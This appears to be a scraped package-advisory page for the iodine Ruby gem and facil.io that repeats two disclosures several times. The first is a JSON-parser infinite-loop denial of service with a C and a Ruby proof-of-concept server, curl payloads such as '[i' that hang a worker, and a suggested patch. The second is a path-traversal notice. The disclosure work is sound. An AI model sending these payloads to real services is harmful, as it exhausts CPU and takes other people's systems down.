Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Feb 01, 2019

0.7.20 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Jan 31, 2019

0.7.19 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Jan 27, 2019

0.7.18 patch

2 CVEs

